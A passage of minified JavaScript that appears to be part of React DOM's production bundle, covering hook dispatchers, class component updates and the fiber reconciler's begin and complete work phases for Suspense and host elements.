Yh(e,t){return bc(2048,8,e,t)}function i0(e,t){return bc(4,2,e,t)}function s0(e,t){return bc(4,4,e,t)}function a0(e,t){if(typeof t=="function")return e=e(),t(e),function(){t(null)};if(t!=null)return e=e(),t.current=e,function(){t.current=null}}function l0(e,t,n){return n=n!=null?n.concat([e]):null,bc(4,4,a0.bind(null,t,e),n)}function Gh(){}function u0(e,t){var n=yn();t=t===void 0?null:t;var r=n.memoizedState;return r!==null&&t!==null&&Zh(t,r[1])?r[0]:(n.memoizedState=[e,t],e)}function c0(e,t){var n=yn();t=t===void 0?null:t;var r=n.memoizedState;return r!==null&&t!==null&&Zh(t,r[1])?r[0]:(e=e(),n.memoizedState=[e,t],e)}function d0(e,t,n){return ri&21?(Dn(n,t)||(n=vy(),Qe.lanes|=n,oi|=n,e.baseState=!0),t):(e.baseState&&(e.baseState=!1,Bt=!0),e.memoizedState=n)}function fC(e,t){var n=Oe;Oe=n!==0&&4>n?n:4,e(!0);var r=gd.transition;gd.transition={};try{e(!1),t()}finally{Oe=n,gd.transition=r}}function f0(){return yn().memoizedState}function hC(e,t,n){var r=vo(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},h0(e))p0(t,n);else if(n=Ky(e,t,n,r),n!==null){var o=Lt();An(n,e,r,o),m0(n,t,r)}}function pC(e,t,n){var r=vo(e),o={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(h0(e))p0(t,o);else{var i=e.alternate;if(e.lanes===0&&(i===null||i.lanes===0)&&(i=t.lastRenderedReducer,i!==null))try{var s=t.lastRenderedState,a=i(s,n);if(o.hasEagerState=!0,o.eagerState=a,Dn(a,s)){var l=t.interleaved;l===null?(o.next=o,Uh(t)):(o.next=l.next,l.next=o),t.interleaved=o;return}}catch{}finally{}n=Ky(e,t,o,r),n!==null&&(o=Lt(),An(n,e,r,o),m0(n,t,r))}}function h0(e){var t=e.alternate;return e===Qe||t!==null&&t===Qe}function p0(e,t){Ca=Vu=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function m0(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Rh(e,n)}}var Hu={readContext:gn,useCallback:wt,useContext:wt,useEffect:wt,useImperativeHandle:wt,useInsertionEffect:wt,useLayoutEffect:wt,useMemo:wt,useReducer:wt,useRef:wt,useState:wt,useDebugValue:wt,useDeferredValue:wt,useTransition:wt,useMutableSource:wt,useSyncExternalStore:wt,useId:wt,unstable_isNewReconciler:!1},mC={readContext:gn,useCallback:function(e,t){return Hn().memoizedState=[e,t===void 0?null:t],e},useContext:gn,useEffect:Bm,useImperativeHandle:function(e,t,n){return n=n!=null?n.concat([e]):null,fu(4194308,4,a0.bind(null,t,e),n)},useLayoutEffect:function(e,t){return fu(4194308,4,e,t)},useInsertionEffect:function(e,t){return fu(4,2,e,t)},useMemo:function(e,t){var n=Hn();return t=t===void 0?null:t,e=e(),n.memoizedState=[e,t],e},useReducer:function(e,t,n){var r=Hn();return t=n!==void 0?n(t):t,r.memoizedState=r.baseState=t,e={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:e,lastRenderedState:t},r.queue=e,e=e.dispatch=hC.bind(null,Qe,e),[r.memoizedState,e]},useRef:function(e){var t=Hn();return e={current:e},t.memoizedState=e},useState:Um,useDebugValue:Gh,useDeferredValue:function(e){return Hn().memoizedState=e},useTransition:function(){var e=Um(!1),t=e[0];return e=fC.bind(null,e[1]),Hn().memoizedState=e,[t,e]},useMutableSource:function(){},useSyncExternalStore:function(e,t,n){var r=Qe,o=Hn();if(Ue){if(n===void 0)throw Error(I(407));n=n()}else{if(n=t(),ct===null)throw Error(I(349));ri&30||Jy(r,t,n)}o.memoizedState=n;var i={value:n,getSnapshot:t};return o.queue=i,Bm(t0.bind(null,r,i,e),[e]),r.flags|=2048,Va(9,e0.bind(null,r,i,n,t),void 0,null),n},useId:function(){var e=Hn(),t=ct.identifierPrefix;if(Ue){var n=yr,r=gr;n=(r&~(1<<32-Ln(r)-1)).toString(32)+n,t=":"+t+"R"+n,n=Ua++,0<n&&(t+="H"+n.toString(32)),t+=":"}else n=dC++,t=":"+t+"r"+n.toString(32)+":";return e.memoizedState=t},unstable_isNewReconciler:!1},vC={readContext:gn,useCallback:u0,useContext:gn,useEffect:Yh,useImperativeHandle:l0,useInsertionEffect:i0,useLayoutEffect:s0,useMemo:c0,useReducer:yd,useRef:o0,useState:function(){return yd(Ba)},useDebugValue:Gh,useDeferredValue:function(e){var t=yn();return d0(t,st.memoizedState,e)},useTransition:function(){var e=yd(Ba)[0],t=yn().memoizedState;return[e,t]},useMutableSource:qy,useSyncExternalStore:Xy,useId:f0,unstable_isNewReconciler:!1},gC={readContext:gn,useCallback:u0,useContext:gn,useEffect:Yh,useImperativeHandle:l0,useInsertionEffect:i0,useLayoutEffect:s0,useMemo:c0,useReducer:wd,useRef:o0,useState:function(){return wd(Ba)},useDebugValue:Gh,useDeferredValue:function(e){var t=yn();return st===null?t.memoizedState=e:d0(t,st.memoizedState,e)},useTransition:function(){var e=wd(Ba)[0],t=yn().memoizedState;return[e,t]},useMutableSource:qy,useSyncExternalStore:Xy,useId:f0,unstable_isNewReconciler:!1};function _n(e,t){if(e&&e.defaultProps){t=Ke({},t),e=e.defaultProps;for(var n in e)t[n]===void 0&&(t[n]=e[n]);return t}return t}function yf(e,t,n,r){t=e.memoizedState,n=n(r,t),n=n==null?t:Ke({},t,n),e.memoizedState=n,e.lanes===0&&(e.updateQueue.baseState=n)}var Cc={isMounted:function(e){return(e=e._reactInternals)?fi(e)===e:!1},enqueueSetState:function(e,t,n){e=e._reactInternals;var r=Lt(),o=vo(e),i=wr(r,o);i.payload=t,n!=null&&(i.callback=n),t=po(e,i,o),t!==null&&(An(t,e,o,r),cu(t,e,o))},enqueueReplaceState:function(e,t,n){e=e._reactInternals;var r=Lt(),o=vo(e),i=wr(r,o);i.tag=1,i.payload=t,n!=null&&(i.callback=n),t=po(e,i,o),t!==null&&(An(t,e,o,r),cu(t,e,o))},enqueueForceUpdate:function(e,t){e=e._reactInternals;var n=Lt(),r=vo(e),o=wr(n,r);o.tag=2,t!=null&&(o.callback=t),t=po(e,o,r),t!==null&&(An(t,e,r,n),cu(t,e,r))}};function Vm(e,t,n,r,o,i,s){return e=e.stateNode,typeof e.shouldComponentUpdate=="function"?e.shouldComponentUpdate(r,i,s):t.prototype&&t.prototype.isPureReactComponent?!Da(n,r)||!Da(o,i):!0}function v0(e,t,n){var r=!1,o=wo,i=t.contextType;return typeof i=="object"&&i!==null?i=gn(i):(o=Ht(t)?ti:Et.current,r=t.contextTypes,i=(r=r!=null)?ws(e,o):wo),t=new t(n,i),e.memoizedState=t.state!==null&&t.state!==void 0?t.state:null,t.updater=Cc,e.stateNode=t,t._reactInternals=e,r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=o,e.__reactInternalMemoizedMaskedChildContext=i),t}function Hm(e,t,n,r){e=t.state,typeof t.componentWillReceiveProps=="function"&&t.componentWillReceiveProps(n,r),typeof t.UNSAFE_componentWillReceiveProps=="function"&&t.UNSAFE_componentWillReceiveProps(n,r),t.state!==e&&Cc.enqueueReplaceState(t,t.state,null)}function wf(e,t,n,r){var o=e.stateNode;o.props=n,o.state=e.memoizedState,o.refs={},Bh(e);var i=t.contextType;typeof i=="object"&&i!==null?o.context=gn(i):(i=Ht(t)?ti:Et.current,o.context=ws(e,i)),o.state=e.memoizedState,i=t.getDerivedStateFromProps,typeof i=="function"&&(yf(e,t,i,n),o.state=e.memoizedState),typeof t.getDerivedStateFromProps=="function"||typeof o.getSnapshotBeforeUpdate=="function"||typeof o.UNSAFE_componentWillMount!="function"&&typeof o.componentWillMount!="function"||(t=o.state,typeof o.componentWillMount=="function"&&o.componentWillMount(),typeof o.UNSAFE_componentWillMount=="function"&&o.UNSAFE_componentWillMount(),t!==o.state&&Cc.enqueueReplaceState(o,o.state,null),Uu(e,n,o,r),o.state=e.memoizedState),typeof o.componentDidMount=="function"&&(e.flags|=4194308)}function Ss(e,t){try{var n="",r=t;do n+=W2(r),r=r.return;while(r);var o=n}catch(i){o=`
Error generating stack: `+i.message+`
`+i.stack}return{value:e,source:t,stack:o,digest:null}}function xd(e,t,n){return{value:e,source:null,stack:n??null,digest:t??null}}function xf(e,t){try{console.error(t.value)}catch(n){setTimeout(function(){throw n})}}var yC=typeof WeakMap=="function"?WeakMap:Map;function g0(e,t,n){n=wr(-1,n),n.tag=3,n.payload={element:null};var r=t.value;return n.callback=function(){Zu||(Zu=!0,Nf=r),xf(e,t)},n}function y0(e,t,n){n=wr(-1,n),n.tag=3;var r=e.type.getDerivedStateFromError;if(typeof r=="function"){var o=t.value;n.payload=function(){return r(o)},n.callback=function(){xf(e,t)}}var i=e.stateNode;return i!==null&&typeof i.componentDidCatch=="function"&&(n.callback=function(){xf(e,t),typeof r!="function"&&(mo===null?mo=new Set([this]):mo.add(this));var s=t.stack;this.componentDidCatch(t.value,{componentStack:s!==null?s:""})}),n}function Wm(e,t,n){var r=e.pingCache;if(r===null){r=e.pingCache=new yC;var o=new Set;r.set(t,o)}else o=r.get(t),o===void 0&&(o=new Set,r.set(t,o));o.has(n)||(o.add(n),e=LC.bind(null,e,t,n),t.then(e,e))}function Zm(e){do{var t;if((t=e.tag===13)&&(t=e.memoizedState,t=t!==null?t.dehydrated!==null:!0),t)return e;e=e.return}while(e!==null);return null}function Qm(e,t,n,r,o){return e.mode&1?(e.flags|=65536,e.lanes=o,e):(e===t?e.flags|=65536:(e.flags|=128,n.flags|=131072,n.flags&=-52805,n.tag===1&&(n.alternate===null?n.tag=17:(t=wr(-1,1),t.tag=2,po(n,t,1))),n.lanes|=1),e)}var wC=Nr.ReactCurrentOwner,Bt=!1;function Nt(e,t,n,r){t.child=e===null?Qy(t,null,n,r):bs(t,e.child,n,r)}function Km(e,t,n,r,o){n=n.render;var i=t.ref;return Zi(t,o),r=Qh(e,t,n,r,i,o),n=Kh(),e!==null&&!Bt?(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~o,_r(e,t,o)):(Ue&&n&&Dh(t),t.flags|=1,Nt(e,t,r,o),t.child)}function Ym(e,t,n,r,o){if(e===null){var i=n.type;return typeof i=="function"&&!op(i)&&i.defaultProps===void 0&&n.compare===null&&n.defaultProps===void 0?(t.tag=15,t.type=i,w0(e,t,i,r,o)):(e=vu(n.type,null,r,t,t.mode,o),e.ref=t.ref,e.return=t,t.child=e)}if(i=e.child,!(e.lanes&o)){var s=i.memoizedProps;if(n=n.compare,n=n!==null?n:Da,n(s,r)&&e.ref===t.ref)return _r(e,t,o)}return t.flags|=1,e=go(i,r),e.ref=t.ref,e.return=t,t.child=e}function w0(e,t,n,r,o){if(e!==null){var i=e.memoizedProps;if(Da(i,r)&&e.ref===t.ref)if(Bt=!1,t.pendingProps=r=i,(e.lanes&o)!==0)e.flags&131072&&(Bt=!0);else return t.lanes=e.lanes,_r(e,t,o)}return bf(e,t,n,r,o)}function x0(e,t,n){var r=t.pendingProps,o=r.children,i=e!==null?e.memoizedState:null;if(r.mode==="hidden")if(!(t.mode&1))t.memoizedState={baseLanes:0,cachePool:null,transitions:null},je($i,Gt),Gt|=n;else{if(!(n&1073741824))return e=i!==null?i.baseLanes|n:n,t.lanes=t.childLanes=1073741824,t.memoizedState={baseLanes:e,cachePool:null,transitions:null},t.updateQueue=null,je($i,Gt),Gt|=e,null;t.memoizedState={baseLanes:0,cachePool:null,transitions:null},r=i!==null?i.baseLanes:n,je($i,Gt),Gt|=r}else i!==null?(r=i.baseLanes|n,t.memoizedState=null):r=n,je($i,Gt),Gt|=r;return Nt(e,t,o,n),t.child}function b0(e,t){var n=t.ref;(e===null&&n!==null||e!==null&&e.ref!==n)&&(t.flags|=512,t.flags|=2097152)}function bf(e,t,n,r,o){var i=Ht(n)?ti:Et.current;return i=ws(t,i),Zi(t,o),n=Qh(e,t,n,r,i,o),r=Kh(),e!==null&&!Bt?(t.updateQueue=e.updateQueue,t.flags&=-2053,e.lanes&=~o,_r(e,t,o)):(Ue&&r&&Dh(t),t.flags|=1,Nt(e,t,n,o),t.child)}function Gm(e,t,n,r,o){if(Ht(n)){var i=!0;ju(t)}else i=!1;if(Zi(t,o),t.stateNode===null)hu(e,t),v0(t,n,r),wf(t,n,r,o),r=!0;else if(e===null){var s=t.stateNode,a=t.memoizedProps;s.props=a;var l=s.context,u=n.contextType;typeof u=="object"&&u!==null?u=gn(u):(u=Ht(n)?ti:Et.current,u=ws(t,u));var c=n.getDerivedStateFromProps,f=typeof c=="function"||typeof s.getSnapshotBeforeUpdate=="function";f||typeof s.UNSAFE_componentWillReceiveProps!="function"&&typeof s.componentWillReceiveProps!="function"||(a!==r||l!==u)&&Hm(t,s,r,u),Qr=!1;var d=t.memoizedState;s.state=d,Uu(t,r,s,o),l=t.memoizedState,a!==r||d!==l||Vt.current||Qr?(typeof c=="function"&&(yf(t,n,c,r),l=t.memoizedState),(a=Qr||Vm(t,n,a,r,d,l,u))?(f||typeof s.UNSAFE_componentWillMount!="function"&&typeof s.componentWillMount!="function"||(typeof s.componentWillMount=="function"&&s.componentWillMount(),typeof s.UNSAFE_componentWillMount=="function"&&s.UNSAFE_componentWillMount()),typeof s.componentDidMount=="function"&&(t.flags|=4194308)):(typeof s.componentDidMount=="function"&&(t.flags|=4194308),t.memoizedProps=r,t.memoizedState=l),s.props=r,s.state=l,s.context=u,r=a):(typeof s.componentDidMount=="function"&&(t.flags|=4194308),r=!1)}else{s=t.stateNode,Yy(e,t),a=t.memoizedProps,u=t.type===t.elementType?a:_n(t.type,a),s.props=u,f=t.pendingProps,d=s.context,l=n.contextType,typeof l=="object"&&l!==null?l=gn(l):(l=Ht(n)?ti:Et.current,l=ws(t,l));var m=n.getDerivedStateFromProps;(c=typeof m=="function"||typeof s.getSnapshotBeforeUpdate=="function")||typeof s.UNSAFE_componentWillReceiveProps!="function"&&typeof s.componentWillReceiveProps!="function"||(a!==f||d!==l)&&Hm(t,s,r,l),Qr=!1,d=t.memoizedState,s.state=d,Uu(t,r,s,o);var w=t.memoizedState;a!==f||d!==w||Vt.current||Qr?(typeof m=="function"&&(yf(t,n,m,r),w=t.memoizedState),(u=Qr||Vm(t,n,u,r,d,w,l)||!1)?(c||typeof s.UNSAFE_componentWillUpdate!="function"&&typeof s.componentWillUpdate!="function"||(typeof s.componentWillUpdate=="function"&&s.componentWillUpdate(r,w,l),typeof s.UNSAFE_componentWillUpdate=="function"&&s.UNSAFE_componentWillUpdate(r,w,l)),typeof s.componentDidUpdate=="function"&&(t.flags|=4),typeof s.getSnapshotBeforeUpdate=="function"&&(t.flags|=1024)):(typeof s.componentDidUpdate!="function"||a===e.memoizedProps&&d===e.memoizedState||(t.flags|=4),typeof s.getSnapshotBeforeUpdate!="function"||a===e.memoizedProps&&d===e.memoizedState||(t.flags|=1024),t.memoizedProps=r,t.memoizedState=w),s.props=r,s.state=w,s.context=l,r=u):(typeof s.componentDidUpdate!="function"||a===e.memoizedProps&&d===e.memoizedState||(t.flags|=4),typeof s.getSnapshotBeforeUpdate!="function"||a===e.memoizedProps&&d===e.memoizedState||(t.flags|=1024),r=!1)}return Cf(e,t,n,r,i,o)}function Cf(e,t,n,r,o,i){b0(e,t);var s=(t.flags&128)!==0;if(!r&&!s)return o&&Dm(t,n,!1),_r(e,t,i);r=t.stateNode,wC.current=t;var a=s&&typeof n.getDerivedStateFromError!="function"?null:r.render();return t.flags|=1,e!==null&&s?(t.child=bs(t,e.child,null,i),t.child=bs(t,null,a,i)):Nt(e,t,a,i),t.memoizedState=r.state,o&&Dm(t,n,!0),t.child}function C0(e){var t=e.stateNode;t.pendingContext?Mm(e,t.pendingContext,t.pendingContext!==t.context):t.context&&Mm(e,t.context,!1),Vh(e,t.containerInfo)}function qm(e,t,n,r,o){return xs(),Ih(o),t.flags|=256,Nt(e,t,n,r),t.child}var Sf={dehydrated:null,treeContext:null,retryLane:0};function Ef(e){return{baseLanes:e,cachePool:null,transitions:null}}function S0(e,t,n){var r=t.pendingProps,o=He.current,i=!1,s=(t.flags&128)!==0,a;if((a=s)||(a=e!==null&&e.memoizedState===null?!1:(o&2)!==0),a?(i=!0,t.flags&=-129):(e===null||e.memoizedState!==null)&&(o|=1),je(He,o&1),e===null)return vf(t),e=t.memoizedState,e!==null&&(e=e.dehydrated,e!==null)?(t.mode&1?e.data==="$!"?t.lanes=8:t.lanes=1073741824:t.lanes=1,null):(s=r.children,e=r.fallback,i?(r=t.mode,i=t.child,s={mode:"hidden",children:s},!(r&1)&&i!==null?(i.childLanes=0,i.pendingProps=s):i=_c(s,r,0,null),e=Jo(e,r,n,null),i.return=t,e.return=t,i.sibling=e,t.child=i,t.child.memoizedState=Ef(n),t.memoizedState=Sf,e):qh(t,s));if(o=e.memoizedState,o!==null&&(a=o.dehydrated,a!==null))return xC(e,t,s,r,a,o,n);if(i){i=r.fallback,s=t.mode,o=e.child,a=o.sibling;var l={mode:"hidden",children:r.children};return!(s&1)&&t.child!==o?(r=t.child,r.childLanes=0,r.pendingProps=l,t.deletions=null):(r=go(o,l),r.subtreeFlags=o.subtreeFlags&14680064),a!==null?i=go(a,i):(i=Jo(i,s,n,null),i.flags|=2),i.return=t,r.return=t,r.sibling=i,t.child=r,r=i,i=t.child,s=e.child.memoizedState,s=s===null?Ef(n):{baseLanes:s.baseLanes|n,cachePool:null,transitions:s.transitions},i.memoizedState=s,i.childLanes=e.childLanes&~n,t.memoizedState=Sf,r}return i=e.child,e=i.sibling,r=go(i,{mode:"visible",children:r.children}),!(t.mode&1)&&(r.lanes=n),r.return=t,r.sibling=null,e!==null&&(n=t.deletions,n===null?(t.deletions=[e],t.flags|=16):n.push(e)),t.child=r,t.memoizedState=null,r}function qh(e,t){return t=_c({mode:"visible",children:t},e.mode,0,null),t.return=e,e.child=t}function Wl(e,t,n,r){return r!==null&&Ih(r),bs(t,e.child,null,n),e=qh(t,t.pendingProps.children),e.flags|=2,t.memoizedState=null,e}function xC(e,t,n,r,o,i,s){if(n)return t.flags&256?(t.flags&=-257,r=xd(Error(I(422))),Wl(e,t,s,r)):t.memoizedState!==null?(t.child=e.child,t.flags|=128,null):(i=r.fallback,o=t.mode,r=_c({mode:"visible",children:r.children},o,0,null),i=Jo(i,o,s,null),i.flags|=2,r.return=t,i.return=t,r.sibling=i,t.child=r,t.mode&1&&bs(t,e.child,null,s),t.child.memoizedState=Ef(s),t.memoizedState=Sf,i);if(!(t.mode&1))return Wl(e,t,s,null);if(o.data==="$!"){if(r=o.nextSibling&&o.nextSibling.dataset,r)var a=r.dgst;return r=a,i=Error(I(419)),r=xd(i,r,void 0),Wl(e,t,s,r)}if(a=(s&e.childLanes)!==0,Bt||a){if(r=ct,r!==null){switch(s&-s){case 4:o=2;break;case 16:o=8;break;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:o=32;break;case 536870912:o=268435456;break;default:o=0}o=o&(r.suspendedLanes|s)?0:o,o!==0&&o!==i.retryLane&&(i.retryLane=o,Er(e,o),An(r,e,o,-1))}return rp(),r=xd(Error(I(421))),Wl(e,t,s,r)}return o.data==="$?"?(t.flags|=128,t.child=e.child,t=AC.bind(null,e),o._reactRetry=t,null):(e=i.treeContext,Jt=ho(o.nextSibling),en=t,Ue=!0,Tn=null,e!==null&&(hn[pn++]=gr,hn[pn++]=yr,hn[pn++]=ni,gr=e.id,yr=e.overflow,ni=t),t=qh(t,r.children),t.flags|=4096,t)}function Xm(e,t,n){e.lanes|=t;var r=e.alternate;r!==null&&(r.lanes|=t),gf(e.return,t,n)}function bd(e,t,n,r,o){var i=e.memoizedState;i===null?e.memoizedState={isBackwards:t,rendering:null,renderingStartTime:0,last:r,tail:n,tailMode:o}:(i.isBackwards=t,i.rendering=null,i.renderingStartTime=0,i.last=r,i.tail=n,i.tailMode=o)}function E0(e,t,n){var r=t.pendingProps,o=r.revealOrder,i=r.tail;if(Nt(e,t,r.children,n),r=He.current,r&2)r=r&1|2,t.flags|=128;else{if(e!==null&&e.flags&128)e:for(e=t.child;e!==null;){if(e.tag===13)e.memoizedState!==null&&Xm(e,n,t);else if(e.tag===19)Xm(e,n,t);else if(e.child!==null){e.child.return=e,e=e.child;continue}if(e===t)break e;for(;e.sibling===null;){if(e.return===null||e.return===t)break e;e=e.return}e.sibling.return=e.return,e=e.sibling}r&=1}if(je(He,r),!(t.mode&1))t.memoizedState=null;else switch(o){case"forwards":for(n=t.child,o=null;n!==null;)e=n.alternate,e!==null&&Bu(e)===null&&(o=n),n=n.sibling;n=o,n===null?(o=t.child,t.child=null):(o=n.sibling,n.sibling=null),bd(t,!1,o,n,i);break;case"backwards":for(n=null,o=t.child,t.child=null;o!==null;){if(e=o.alternate,e!==null&&Bu(e)===null){t.child=o;break}e=o.sibling,o.sibling=n,n=o,o=e}bd(t,!0,n,null,i);break;case"together":bd(t,!1,null,null,void 0);break;default:t.memoizedState=null}return t.child}function hu(e,t){!(t.mode&1)&&e!==null&&(e.alternate=null,t.alternate=null,t.flags|=2)}function _r(e,t,n){if(e!==null&&(t.dependencies=e.dependencies),oi|=t.lanes,!(n&t.childLanes))return null;if(e!==null&&t.child!==e.child)throw Error(I(153));if(t.child!==null){for(e=t.child,n=go(e,e.pendingProps),t.child=n,n.return=t;e.sibling!==null;)e=e.sibling,n=n.sibling=go(e,e.pendingProps),n.return=t;n.sibling=null}return t.child}function bC(e,t,n){switch(t.tag){case 3:C0(t),xs();break;case 5:Gy(t);break;case 1:Ht(t.type)&&ju(t);break;case 4:Vh(t,t.stateNode.containerInfo);break;case 10:var r=t.type._context,o=t.memoizedProps.value;je(Fu,r._currentValue),r._currentValue=o;break;case 13:if(r=t.memoizedState,r!==null)return r.dehydrated!==null?(je(He,He.current&1),t.flags|=128,null):n&t.child.childLanes?S0(e,t,n):(je(He,He.current&1),e=_r(e,t,n),e!==null?e.sibling:null);je(He,He.current&1);break;case 19:if(r=(n&t.childLanes)!==0,e.flags&128){if(r)return E0(e,t,n);t.flags|=128}if(o=t.memoizedState,o!==null&&(o.rendering=null,o.tail=null,o.lastEffect=null),je(He,He.current),r)break;return null;case 22:case 23:return t.lanes=0,x0(e,t,n)}return _r(e,t,n)}var _0,_f,k0,R0;_0=function(e,t){for(var n=t.child;n!==null;){if(n.tag===5||n.tag===6)e.appendChild(n.stateNode);else if(n.tag!==4&&n.child!==null){n.child.return=n,n=n.child;continue}if(n===t)break;for(;n.sibling===null;){if(n.return===null||n.return===t)return;n=n.return}n.sibling.return=n.return,n=n.sibling}};_f=function(){};k0=function(e,t,n,r){var o=e.memoizedProps;if(o!==r){e=t.stateNode,Uo(er.current);var i=null;switch(n){case"input":o=Zd(e,o),r=Zd(e,r),i=[];break;case"select":o=Ke({},o,{value:void 0}),r=Ke({},r,{value:void 0}),i=[];break;case"textarea":o=Yd(e,o),r=Yd(e,r),i=[];break;default:typeof o.onClick!="function"&&typeof r.onClick=="function"&&(e.onclick=Mu)}qd(n,r);var s;n=null;for(u in o)if(!r.hasOwnProperty(u)&&o.hasOwnProperty(u)&&o[u]!=null)if(u==="style"){var a=o[u];for(s in a)a.hasOwnProperty(s)&&(n||(n={}),n[s]="")}else u!=="dangerouslySetInnerHTML"&&u!=="children"&&u!=="suppressContentEditableWarning"&&u!=="suppressHydrationWarning"&&u!=="autoFocus"&&(Pa.hasOwnProperty(u)?i||(i=[]):(i=i||[]).push(u,null));for(u in r){var l=r[u];if(a=o!=null?o[u]:void 0,r.hasOwnProperty(u)&&l!==a&&(l!=null||a!=null))if(u==="style")if(a){for(s in a)!a.hasOwnProperty(s)||l&&l.hasOwnProperty(s)||(n||(n={}),n[s]="");for(s in l)l.hasOwnProperty(s)&&a[s]!==l[s]&&(n||(n={}),n[s]=l[s])}else n||(i||(i=[]),i.push(u,n)),n=l;else u==="dangerouslySetInnerHTML"?(l=l?l.__html:void 0,a=a?a.__html:void 0,l!=null&&a!==l&&(i=i||[]).push(u,l)):u==="children"?typeof l!="string"&&typeof l!="number"||(i=i||[]).push(u,""+l):u!=="suppressContentEditableWarning"&&u!=="suppressHydrationWarning"&&(Pa.hasOwnProperty(u)?(l!=null&&u==="onScroll"&&ze("scroll",e),i||a===l||(i=[])):(i=i||[]).push(u,l))}n&&(i=i||[]).push("style",n);var u=i;(t.updateQueue=u)&&(t.flags|=4)}};R0=function(e,t,n,r){n!==r&&(t.flags|=4)};function ta(e,t){if(!Ue)switch(e.tailMode){case"hidden":t=e.tail;for(var n=null;t!==null;)t.alternate!==null&&(n=t),t=t.sibling;n===null?e.tail=null:n.sibling=null;break;case"collapsed":n=e.tail;for(var r=null;n!==null;)n.alternate!==null&&(r=n),n=n.sibling;r===null?t||e.tail===null?e.tail=null:e.tail.sibling=null:r.sibling=null}}function xt(e){var t=e.alternate!==null&&e.alternate.child===e.child,n=0,r=0;if(t)for(var o=e.child;o!==null;)n|=o.lanes|o.childLanes,r|=o.subtreeFlags&14680064,r|=o.flags&14680064,o.return=e,o=o.sibling;else for(o=e.child;o!==null;)n|=o.lanes|o.childLanes,r|=o.subtreeFlags,r|=o.flags,o.return=e,o=o.sibling;return e.subtreeFlags|=r,e.childLanes=n,t}function CC(e,t,n){var r=t.pendingProps;switch(jh(t),t.tag){case 2:case 16:case 15:case 0:case 11:case 7:case 8:case 12:case 9:case 14:return xt(t),null;case 1:return Ht(t.type)&&Du(),xt(t),null;case 3:return r=t.stateNode,Cs(),Fe(Vt),Fe(Et),Wh(),r.pendingContext&&(r.context=r.pendingContext,r.pendingContext=null),(e===null||e.child===null)&&(Vl(t)?t.flags|=4:e===null||e.memoizedState.isDehydrated&&!(t.flags&256)||(t.flags|=1024,Tn!==null&&(Af(Tn),Tn=null))),_f(e,t),xt(t),null;case 5:Hh(t);var o=Uo($a.current);if(n=t.type,e!==null&&t.stateNode!=null)k0(e,t,n,r,o),e.ref!==t.ref&&(t.flags|=512,t.flags|=2097152);else{if(!r){if(t.stateNode===null)throw Error(I(166));return xt(t),null}if(e=Uo(er.current),Vl(t)){r=t.stateNode,n=t.type;var i=t.memoizedProps;switch(r[Gn]=t,r[za]=i,e=(t.mode&1)!==0,n){case"dialog":ze("cancel",r),ze("close",r);break;case"iframe":case"object":case"embed":ze("load",r);break;case"video":case"audio":for(o=0;o<fa.length;o++)ze(fa[o],r);break;case"source":ze("error",r);break;case"img":case"image":case"link":ze("error",r),ze("load",r);break;case"details":ze("toggle",r);break;case"input":am(r,i),ze("invalid",r);break;case"select":r._wrapperState={wasMultiple:!!i.multiple},ze("invalid",r);break;case"textarea":um(r,i),ze("invalid",r)}qd(n,i),o=null;for(var s in i)if(i.hasOwnProperty(s)){var a=i[s];s==="children"?typeof a=="string"?r.textContent!==a&&(i.suppressHydrationWarning!==!0&&Bl(r.textContent,a,e),o=["children",a]):typeof a=="number"&&r.textContent!==""+a&&(i.suppressHydrationWarning!==!0&&Bl(r.textContent,a,e),o=["children",""+a]):Pa.hasOwnProperty(s)&&a!=null&&s==="onScroll"&&ze("scroll",r)}switch(n){case"input":Ml(r),lm(r,i,!0);break;case"textarea":Ml(r),cm(r);break;case"select":case"option":break;default:typeof i.onClick=="function"&&(r.onclick=Mu)}r=o,t.updateQueue=r,r!==null&&(t.flags|=4)}else{s=o.nodeType===9?o:o.ownerDocument,e==="http://www.w3.org/1999/xhtml"&&(e=ty(n)),e==="http://www.w3.org/1999/xhtml"?n==="script"?(e=s.createElement("div"),e.innerHTML="<script><\/script>",e=e.removeChild(e.firstChild)):typeof r.is=="string"?e=s.createElement(n,{is:r.is}):(e=s.createElement(n),n==="select"&&(s=e,r.multiple?s.multiple=!0:r.size&&(s.size=r.size))):e=s.createElementNS(e,n),e[Gn]=t,e[za]=r,_0(e,t,!1,!1),t.stateNode=e;e:{switch(s=Xd(n,r),n){case"dialog":ze("cancel",e),ze("close",e),o=r;break;case"iframe":case"object":case"embed":ze("load",e),o=r;break;case"video":case"audio":for(o=0;o<fa.length;o++)ze(fa[o],e);o=r;break;case"source":ze("error",e),o=r;break;case"img":case"image":case"link":ze("error",e),ze("load",e),o=r;break;case"details":ze("toggle",e),o=r;break;case"input":am(e,r),o=Zd(e,r),ze("invalid",e);break;case"option":o=r;break;case"select":e._wrapperState={wasMultiple:!!r.multiple},o=Ke({},r,{value:void 0}),ze("invalid",e);break;case"textarea":um(e,r),o=Yd(e,r),ze("invalid",e);break;default:o=r}qd(n,o),a=o;for(i in a)if(a.hasOwnProperty(i)){var l=a[i];i==="style"?oy(e,l):i==="dangerouslySetInnerHTML"?(l=l?l.__html:void 0,l!=null&&ny(e,l)):i==="children"?typeof l=="string"?(n!=="textarea"||l!=="")&&Ta(e,l):typeof l=="number"&&Ta(e,""+l):i!=="suppressContentEditableWarning"&&i!=="suppressHydrationWarning"&&i!=="autoFocus"&&(Pa.hasOwnProperty(i)?l!=null&&i==="onScroll"&&ze("scroll",e):l!=null&&bh(e,i,l,s))}switch(n){case"input":Ml(e),lm(e,r,!1);break;case"textarea":Ml(e),cm(e);break;case"option":r.value!=null&&e.setAttribute("value",""+yo(r.value));break;case"select":e.multiple=!!r.multiple,i=r.value,i!=null?Bi(e,!!r.multiple,i,!1):r.defaultValue!=null&&Bi(e,!!r.multiple,r.defaultValue,!0);break;default:typeof o.onClick=="function"&&(e.onclick=Mu)}switch(n){case"button":case"input":case"select":case"textarea":r=!!r.autoFocus;break e;case"img":r=!0;break 